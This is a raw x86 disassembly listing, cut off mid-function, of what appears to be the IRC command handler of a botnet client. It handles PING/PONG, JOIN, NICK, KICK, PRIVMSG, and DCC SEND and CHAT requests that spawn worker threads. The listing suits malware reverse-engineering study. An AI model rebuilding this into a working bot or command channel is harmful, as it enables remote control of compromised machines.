var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D4C = byte ptr -1D4Ch
var_1D38 = byte ptr -1D38h
var_1C34 = byte ptr -1C34h
var_1BB0 = dword ptr -1BB0h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B98 = byte ptr -1B98h
var_1B84 = byte ptr -1B84h
var_1A80 = byte ptr -1A80h
var_1A00 = dword ptr -1A00h
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = byte ptr -19E8h
var_1968 = byte ptr -1968h
var_1928 = byte ptr -1928h
var_1828 = dword ptr -1828h
var_1824 = dword ptr -1824h
var_1818 = dword ptr -1818h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = byte ptr -180Ch
var_17D4 = byte ptr -17D4h
var_17B8 = byte ptr -17B8h
var_1780 = byte ptr -1780h
var_177C = byte ptr -177Ch
var_16FC = byte ptr -16FCh
var_16BC = byte ptr -16BCh
var_162C = dword ptr -162Ch
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = byte ptr -1618h
var_1598 = byte ptr -1598h
var_1518 = dword ptr -1518h
var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = byte ptr -1508h
var_14F8 = byte ptr -14F8h
var_1478 = byte ptr -1478h
var_13F8 = dword ptr -13F8h
var_13F0 = dword ptr -13F0h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = byte ptr -13D8h
var_1358 = byte ptr -1358h
var_12D8 = byte ptr -12D8h
var_1258 = dword ptr -1258h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1234 = byte ptr -1234h
var_11B4 = byte ptr -11B4h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1114 = dword ptr -1114h
var_1110 = byte ptr -1110h
var_1090 = byte ptr -1090h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1000 = dword ptr -1000h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = byte ptr -0FECh
var_F6C = dword ptr -0F6Ch
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = byte ptr -0F58h
var_ED8 = dword ptr -0ED8h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = byte ptr -0EC4h
var_E44 = dword ptr -0E44h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = byte ptr -0E34h
var_E24 = byte ptr -0E24h
var_E04 = byte ptr -0E04h
var_D84 = dword ptr -0D84h
var_D80 = byte ptr -0D80h
var_D00 = byte ptr -0D00h
var_C80 = dword ptr -0C80h
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = byte ptr -0C5Ch
var_BDC = dword ptr -0BDCh
var_BD8 = dword ptr -0BD8h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = byte ptr -0A90h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = dword ptr -2C4h
var_2C0 = byte ptr -2C0h
var_C0 = byte ptr -0C0h
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 568Ch
call sub_41C190
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C0]
push ebx
push eax
mov [ebp+var_A4], 3
mov [ebp+var_10], ebx
mov [ebp+var_A8], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C4], ebx
call sub_41BC00
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41BC60
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_401F20
push esi
lea eax, [ebp+var_428C]
push ebx
push eax
call sub_41BC00
dec esi
lea eax, [ebp+var_428C]
push esi
push [ebp+arg_0]
push eax
call sub_41BC60
lea eax, [ebp+var_428C]
push offset asc_42F5EC ; " :"
push eax
call sub_41BF70
mov [ebp+var_C], eax
lea eax, [ebp+var_428C]
push esi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BC60
mov esi, offset asc_42F5E8 ; " "
lea eax, [ebp+var_4EF8]
push esi
push eax
call sub_41C764
xor edi, edi
add esp, 34h
mov [ebp+var_90], eax
inc edi
loc_401B67: ; CODE XREF: sub_401AA1+DAj
push esi
push ebx
call sub_41C764
mov [ebp+edi*4+var_90], eax
inc edi
pop ecx
cmp edi, 20h
pop ecx
jl short loc_401B67
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401F20
cmp [ebp+var_8C], ebx
jz loc_401F20
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41BC00
add esp, 0Ch
push 1Fh
pop edx
loc_401BAF: ; CODE XREF: sub_401AA1+142j
lea ecx, [ebp+edx*4+var_90]
mov eax, [ecx]
cmp eax, ebx
jz short loc_401BE2
cmp byte ptr [eax], 2Dh
jnz short loc_401BE5
cmp [eax+2], bl
jnz short loc_401BE5
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401BE2: ; CODE XREF: sub_401AA1+119j
dec edx
jns short loc_401BAF
loc_401BE5: ; CODE XREF: sub_401AA1+11Ej
; sub_401AA1+123j
xor edi, edi
inc edi
cmp [ebp+var_8ED], bl
jz short loc_401BF3
mov [ebp+var_8], edi
loc_401BF3: ; CODE XREF: sub_401AA1+14Dj
cmp [ebp+var_8F2], bl
jz short loc_401C01
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C01: ; CODE XREF: sub_401AA1+158j
cmp byte ptr [esi], 0Ah
jz short loc_401C3B
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BC60
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C0]
push eax
call sub_41BC60
lea eax, [ebp+var_C0]
push offset asc_42F5E4 ; "!"
push eax
call sub_41C764
add esp, 20h
loc_401C3B: ; CODE XREF: sub_401AA1+163j
push esi
push offset aPing ; "PING"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401C8C
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_4096FD
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D30
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_4096FD
add esp, 10h
jmp loc_401D30
; ---------------------------------------------------------------------------
loc_401C8C: ; CODE XREF: sub_401AA1+1A9j
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4096B7
push esi
push offset a005 ; "005"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4096B7
push esi
push offset a302 ; "302"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401CF7
push offset a@ ; "@"
push [ebp+var_84]
call sub_41BF70
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D30
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41BC60
add esp, 0Ch
jmp short loc_401D30
; ---------------------------------------------------------------------------
loc_401CF7: ; CODE XREF: sub_401AA1+22Aj
push esi
push offset a433 ; "433"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401D37
push ebx
push dword_42A98C
push dword_42A988
push [ebp+arg_10]
call sub_40AD20
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_4096FD
add esp, 1Ch
loc_401D30: ; CODE XREF: sub_401AA1+1CAj
; sub_401AA1+1E6j ...
mov eax, edi
jmp loc_401F23
; ---------------------------------------------------------------------------
loc_401D37: ; CODE XREF: sub_401AA1+265j
mov esi, [ebp+arg_18]
mov [ebp+var_2C8], 3
mov edi, 80h
loc_401D49: ; CODE XREF: sub_401AA1+2CDj
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401D66
mov [ebp+var_A8], 1
loc_401D66: ; CODE XREF: sub_401AA1+2B9j
add esi, edi
dec [ebp+var_2C8]
jnz short loc_401D49
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_401E4F
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401D95: ; CODE XREF: sub_401AA1+373j
cmp [esi], bl
jz short loc_401E0F
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BC60
add esp, 0Ch
cmp [ebp+var_84], ebx
jz short loc_401E0F
push [ebp+var_84]
lea eax, [ebp+var_C0]
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401E0F
lea eax, [ebp+var_C0]
mov [esi], bl
push eax
lea eax, [ebp+var_2C0]
push offset dword_42F550
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_4096FD
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
add esp, 20h
loc_401E0F: ; CODE XREF: sub_401AA1+2F6j
; sub_401AA1+310j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401D95
push [ebp+var_84]
push [ebp+arg_10]
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_401F20
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E42: ; CODE XREF: sub_401AA1+5CDj
; sub_401AA1+880j ...
push [ebp+arg_4]
call sub_4096FD
jmp loc_4041F5
; ---------------------------------------------------------------------------
loc_401E4F: ; CODE XREF: sub_401AA1+2E4j
push esi
push offset aNick ; "NICK"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_401F88
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_401E78: ; CODE XREF: sub_401AA1+429j
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401EC5
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C620
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401EC5
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41C520
push [ebp+arg_1C]
push edi
call sub_41C530
add esp, 10h
mov edi, 80h
loc_401EC5: ; CODE XREF: sub_401AA1+3E8j
; sub_401AA1+3FFj
add esi, edi
dec [ebp+arg_0]
jnz short loc_401E78
cmp [ebp+arg_24], ebx
jz short loc_401F20
push [ebp+arg_10]
lea eax, [ebp+var_C0]
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401EF8
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41BC60
jmp loc_403630
; ---------------------------------------------------------------------------
loc_401EF8: ; CODE XREF: sub_401AA1+443j
mov edi, [ebp+arg_18]
xor esi, esi
loc_401EFD: ; CODE XREF: sub_401AA1+47Dj
cmp [edi], bl
jz short loc_401F14
lea eax, [ebp+var_E04]
push eax
push edi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_401F28
loc_401F14: ; CODE XREF: sub_401AA1+45Ej
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401EFD
loc_401F20: ; CODE XREF: sub_401AA1+5Bj
; sub_401AA1+E4j ...
xor eax, eax
inc eax
loc_401F23: ; CODE XREF: sub_401AA1+291j
; sub_401AA1+2A14j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401F28: ; CODE XREF: sub_401AA1+471j
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C620
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_401F20
push eax
call sub_41B650
push [ebp+arg_24]
mov edi, eax
call sub_41B650
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_401F20
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41BEF6
push ebx
lea eax, [ebp+var_45F0]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409743
add esp, 24h
jmp short loc_401F20
; ---------------------------------------------------------------------------
loc_401F88: ; CODE XREF: sub_401AA1+3BDj
push esi
push offset aPart ; "PART"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_401FAA
push esi
push offset aQuit ; "QUIT"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401FD1
loc_401FAA: ; CODE XREF: sub_401AA1+4F6j
mov edi, [ebp+arg_18]
xor esi, esi
loc_401FAF: ; CODE XREF: sub_401AA1+52Ej
cmp [edi], bl
jz short loc_401FC5
push [ebp+var_90]
push edi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_402012
loc_401FC5: ; CODE XREF: sub_401AA1+510j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401FAF
loc_401FD1: ; CODE XREF: sub_401AA1+507j
push [ebp+var_8C]
push offset dword_42F518
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_402073
push [ebp+var_80]
push [ebp+arg_8]
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402005
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_402005: ; CODE XREF: sub_401AA1+559j
push [ebp+var_80]
push offset dword_42F4D8
jmp loc_4096AB
; ---------------------------------------------------------------------------
loc_402012: ; CODE XREF: sub_401AA1+522j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2C0]
push offset dword_42F550
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
push [ebp+var_8C]
push offset aPart ; "PART"
call sub_41C6E0
add esp, 18h
test eax, eax
jnz loc_401F20
lea eax, [ebp+var_2C0]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E42
; ---------------------------------------------------------------------------
loc_402073: ; CODE XREF: sub_401AA1+544j
push [ebp+var_8C]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_41C6E0
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_4020C7
push [ebp+var_8C]
push edi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_4020C7
push [ebp+var_8C]
push offset dword_42F4C4
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_409567
cmp dword_42A974, ebx
jz loc_409567
loc_4020C7: ; CODE XREF: sub_401AA1+5ECj
; sub_401AA1+5FEj
push [ebp+var_8C]
push esi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40223A
push [ebp+var_8C]
push edi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40223A
mov eax, [ebp+var_84]
inc [ebp+var_80]
mov [ebp+var_A4], 4
mov [ebp+var_88], eax
loc_40210C: ; CODE XREF: sub_401AA1+858j
; sub_401AA1+894j ...
mov eax, [ebp+var_A4]
mov esi, eax
shl esi, 2
lea edi, [ebp+esi+var_90]
mov eax, [edi]
push eax
push offset dword_42F4BC
mov [ebp+arg_8], eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_4024D6
push [ebp+esi+var_8C]
push offset aSend_0 ; "SEND"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_4023A1
cmp [ebp+var_A8], ebx
jz loc_402377
push [ebp+esi+var_88]
mov edi, offset aS_2 ; "%s"
lea eax, [ebp+var_1B84]
push edi
push eax
call sub_41BEF6
push [ebp+esi+var_84]
lea eax, [ebp+var_1B98]
push edi
push eax
call sub_41BEF6
push [ebp+esi+var_80]
call sub_41BDE9
mov [ebp+var_1A00], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1BA0], eax
lea eax, [ebp+var_C0]
push 7Fh
push eax
lea eax, [ebp+var_1A80]
push eax
call sub_41BC60
mov eax, [ebp+var_4]
mov [ebp+var_19F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F4], eax
lea eax, [ebp+var_1A80]
push eax
lea eax, [ebp+var_1B84]
push eax
lea eax, [ebp+var_2C0]
push offset unk_42F480
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 1Ah
push eax
call sub_40B254
add esp, 44h
mov [ebp+var_19FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1BA0]
push ebx
push eax
push offset sub_416770
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_19FC]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jz loc_4090C0
jmp loc_40236D
; ---------------------------------------------------------------------------
loc_40223A: ; CODE XREF: sub_401AA1+636j
; sub_401AA1+64Cj
push [ebp+var_8C]
push edi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402253
mov [ebp+var_4], 1
loc_402253: ; CODE XREF: sub_401AA1+7A9j
cmp [ebp+var_88], ebx
jz loc_401F20
push offset dword_42F47C
push [ebp+var_88]
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_40227A
cmp [ebp+var_4], ebx
jz short loc_402286
loc_40227A: ; CODE XREF: sub_401AA1+7D2j
lea eax, [ebp+var_C0]
mov [ebp+var_88], eax
loc_402286: ; CODE XREF: sub_401AA1+7D7j
cmp [ebp+var_84], ebx
jz loc_401F20
inc [ebp+var_84]
jz short loc_4022D0
cmp [ebp+arg_10], ebx
jz short loc_4022D0
lea eax, [ebp+var_338]
push eax
call sub_41B650
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41C4E0
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp+var_A4], eax
jmp short loc_4022D6
; ---------------------------------------------------------------------------
loc_4022D0: ; CODE XREF: sub_401AA1+7F7j
; sub_401AA1+7FCj
mov eax, [ebp+var_A4]
loc_4022D6: ; CODE XREF: sub_401AA1+82Dj
mov esi, eax
shl esi, 2
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz loc_401F20
push edi
push offset dword_42F470
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_40210C
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz short loc_402326
mov eax, dword_4CE1BC
mov eax, off_42AABC[eax*4]
cmp [eax], bl
jz short loc_402326
push eax
push ecx
push offset dword_42F454
jmp loc_401E42
; ---------------------------------------------------------------------------
loc_402326: ; CODE XREF: sub_401AA1+867j
; sub_401AA1+877j
push edi
push offset dword_42F44C
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_40210C
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz loc_40210C
mov eax, [ebp+var_88]
cmp byte ptr [eax], 23h
jz loc_40210C
push esi
push eax
push offset dword_42F434
jmp loc_401E42
; ---------------------------------------------------------------------------
loc_402365: ; CODE XREF: sub_401AA1+8D2j
push 32h
call dword_428080 ; Sleep
loc_40236D: ; CODE XREF: sub_401AA1+794j
cmp [ebp+var_19F0], ebx
jz short loc_402365
jmp short loc_402399
; ---------------------------------------------------------------------------
loc_402377: ; CODE XREF: sub_401AA1+6B8j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset unk_42F3F0
push eax
call sub_41BEF6
add esp, 10h
loc_402399: ; CODE XREF: sub_401AA1+8D4j
; sub_401AA1+A0Ej ...
xor esi, esi
inc esi
jmp loc_406BE7
; ---------------------------------------------------------------------------
loc_4023A1: ; CODE XREF: sub_401AA1+6ACj
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_4024EC
cmp [ebp+var_A8], ebx
jz loc_4024C5
push 1Bh
call sub_40B496
test eax, eax
pop ecx
jnz loc_4024B4
push [ebp+esi+var_84]
lea eax, [ebp+var_2AAC]
push offset aS_2 ; "%s"
push eax
call sub_41BEF6
push [ebp+esi+var_80]
call sub_41BDE9
mov [ebp+var_2914], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB4], eax
lea eax, [ebp+var_C0]
push 7Fh
push eax
lea eax, [ebp+var_2994]
push eax
call sub_41BC60
mov eax, [ebp+var_4]
mov [ebp+var_290C], eax
mov eax, [ebp+var_8]
mov [ebp+var_2908], eax
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2C0]
push offset unk_42F3C8
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 1Bh
push eax
call sub_40B254
add esp, 34h
mov [ebp+var_2910], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB4]
push ebx
push eax
push offset sub_41620D
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_2910]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_4024A7
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42F390
jmp loc_40823D
; ---------------------------------------------------------------------------
loc_40249F: ; CODE XREF: sub_401AA1+A0Cj
push 32h
call dword_428080 ; Sleep
loc_4024A7: ; CODE XREF: sub_401AA1+9EBj
cmp [ebp+var_2904], ebx
jz short loc_40249F
jmp loc_402399
; ---------------------------------------------------------------------------
loc_4024B4: ; CODE XREF: sub_401AA1+931j
lea eax, [ebp+var_C0]
push eax
push offset unk_42F360
jmp loc_40823D
; ---------------------------------------------------------------------------
loc_4024C5: ; CODE XREF: sub_401AA1+921j
lea eax, [ebp+var_C0]
push eax
push offset unk_42F32C
loc_4024D1: ; DATA XREF: sub_4FB392+8w
; sub_4FB392+37r
jmp loc_40823D
; ---------------------------------------------------------------------------
loc_4024D6: ; CODE XREF: sub_401AA1+691j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_42A980
mov [edi], ecx
jnz loc_401F20
loc_4024EC: ; CODE XREF: sub_401AA1+915j
mov edi, [edi]
push edi
push offset aK ; "k"
mov [ebp+arg_8], edi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40956F
push edi
push offset asc_42F324 ; "l"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40956F
cmp [ebp+var_A8], ebx
jnz short loc_40253D
push [ebp+var_8C]
push offset dword_42F4C4
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_409567
loc_40253D: ; CODE XREF: sub_401AA1+A80j
cmp [ebp+arg_28], ebx
jnz loc_409567
xor edi, edi
cmp dword_42AE00, ebx
jle loc_4026EA
mov [ebp+arg_20], offset dword_4404C8
loc_40255B: ; CODE XREF: sub_401AA1+AD9j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_402581
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_42AE00
jl short loc_40255B
jmp loc_4026EA
; ---------------------------------------------------------------------------
loc_402581: ; CODE XREF: sub_401AA1+AC9j
push offset asc_42F5EC ; " :"
push [ebp+arg_0]
call sub_41BF70
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F20
mov cl, byte_42A980
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_42A980
mov [eax+3], cl
lea ecx, dword_4404E0[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41BC60
lea eax, dword_4404C8[edi]
